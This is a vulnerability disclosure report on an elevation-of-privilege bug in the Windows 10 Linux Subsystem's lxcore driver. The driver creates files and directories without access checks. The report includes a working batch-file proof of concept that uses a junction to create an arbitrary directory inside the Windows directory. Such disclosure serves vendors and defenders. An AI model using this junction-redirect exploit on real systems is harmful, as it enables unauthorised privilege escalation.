Windows: Linux Subsystem Arbitrary File/Directory Creation EoP

Issue description

Windows: Linux Subsystem Arbitrary File/Directory Creation EoP
Platform: Windows 10 14373 x64 Only
Class: Elevation of Privilege
Summary:
The lxcore driver uses a number of file APIs incorrectly leading to arbitrary file and directory creation with kernel privileges.
Description:
Before we start, I’m reasonably confident that you won’t fix these bugs. These are issues in a non-default, developer only feature. However I’m sending them along out of due-diligence, just so that I can’t be accused of not passing them on. I’d appreciate if you could make a quick decision on whether lxss bugs are in scope so I can publish them. I’ve still applied a 90 day deadline but I’m not sure it’s needed.
While as far as I can tell the normal operation of calling the open system call dispatches to a secure IO call the same cannot be said for the building of temporary data which seems to be used to back things like certain devices, shared memory and the like. The Linux Subsystem applications when they’re being started create the %LOCALAPPDATA%\lxss\temp directory, then proceed to create a number of subdirectories.
Many of the functions in the driver which does this create directories and files insecurely, and in the system service even do so under impersonation of the user. This creates the worst case scenario for arbitrary kernel file creation as at worst files will be created with the user as an owner, and most interesting places to write to such as system32 have an inherited CREATOR OWNER ACE which gives full access.
As examples:
lxcore!LxpUtilCreateTemporaryDirectory calls IoCreateFile without passing IO_FORCE_ACCESS_CHECK as an option which ends up creating the directory with kernel privileges. This is made worse by not setting the FILE_OPEN_REPARSE_POINT option.
lxcore!LxpDevZeroCreateBackingFile calls ZwCreateFile system call without setting the OBJ_FORCE_ACCESS_CHECK attribute flag.
lxcore!LxpUtilCreateTemporarySparseFile calls the ZwCreateFile system call without setting the OBJ_FORCE_ACCESS_CHECK attribute flag.
As all these also create guessable file names, and create them in a user accessible location it’s pretty easy to redirect calls to arbitrary locations through mount points/symbolic links etc.
Proof of Concept:
I’ve provided a PoC as a batch file. It will use the bug in LxpUtilCreateTemporaryDirectory to create an arbitrary TestTest directory in the Windows directory with full control of the calling user. Note that in this case the directory will be deleted when all handles to the directory are closed. But as we only need it temporarily to do any useful privilege escalation that doesn’t really matter as we can control the lifetime of the linux shell we spawn.
1) Install the linux subsystem, and close any open linux applications. Copy the following to a .bat file on disk:
rem START
@echo off
pushd "%LOCALAPPDATA%\lxss"
md temp
set t=%SystemRoot%\TestTest
mklink /J temp\0000000000000000_ashmem %t%
start bash
:b
IF NOT EXIST %t% (goto :b)
rmdir temp\0000000000000000_ashmem
echo [SUCCESS]: Created arbitrary directory, don't close bash though :-)
popd
rem END
2) Execute the poc from a command line. It should print that it successfully created the directory.
3) The directory should persist until all handles to it are closed (which basically means when the bash shell is closed)
Expected Result:
Creating arbitrary directories should fail.
Observed Result:
I guess it didn’t fail.
This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public.